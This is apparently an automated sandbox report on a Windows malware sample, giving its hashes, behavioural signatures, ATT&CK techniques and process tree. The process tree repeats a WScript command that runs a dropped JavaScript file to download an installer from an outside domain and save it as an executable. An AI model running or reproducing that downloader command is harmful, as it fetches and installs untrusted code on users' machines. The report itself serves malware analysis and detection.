Analysis

  • max time kernel
    134s
  • max time network
    103s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21-05-2024 20:56

General

  • Target

    64bde517250cb578b11f339c51013ded_JaffaCakes118.exe

  • Size

    184KB

  • MD5

    64bde517250cb578b11f339c51013ded

  • SHA1

    51090b7583df204306f12de1db735856ac2a23d7

  • SHA256

    0d6a6a75e7d15b9ca17082dbfe2fa6a321bb9b08963928d7bf07155ac814ecb2

  • SHA512

    16585e4565f419400ba7f1218e807115878507622f4ebff76fd5a1620e9352211d85c1d08780fb74e89ddfe545f9e6e7d64b539cedc98cf3db975d7d36e10fa3

  • SSDEEP

    3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3S:/7BSH8zUB+nGESaaRvoB7FJNndnD

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 5 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 1 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\64bde517250cb578b11f339c51013ded_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\64bde517250cb578b11f339c51013ded_JaffaCakes118.exe"
    1⤵
    • Checks computer location settings
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:4296
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3C4D.js" http://www.djapp.info/?domain=iLJksyMiJK.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3C4D.exe
      2⤵
      • Blocklisted process makes network request
      PID:4644
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3C4D.js" http://www.djapp.info/?domain=iLJksyMiJK.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3C4D.exe
      2⤵
      • Blocklisted process makes network request
      PID:3540
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3C4D.js" http://www.djapp.info/?domain=iLJksyMiJK.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3C4D.exe
      2⤵
      • Blocklisted process makes network request
      PID:4444
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3C4D.js" http://www.djapp.info/?domain=iLJksyMiJK.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3C4D.exe
      2⤵
      • Blocklisted process makes network request
      PID:1440
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3C4D.js" http://www.djapp.info/?domain=iLJksyMiJK.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3C4D.exe
      2⤵
      • Blocklisted process makes network request
      PID:4740

Network

MITRE ATT&CK Matrix ATT&CK v13

Execution

Command and Scripting Interpreter

1
T1059

JavaScript

1
T1059.007

Discovery

Query Registry

1
T1012

System Information Discovery

2
T1082

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\fuf3C4D.js
    Filesize

    3KB

    MD5

    3813cab188d1de6f92f8b82c2059991b

    SHA1

    4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

    SHA256

    a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

    SHA512

    83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76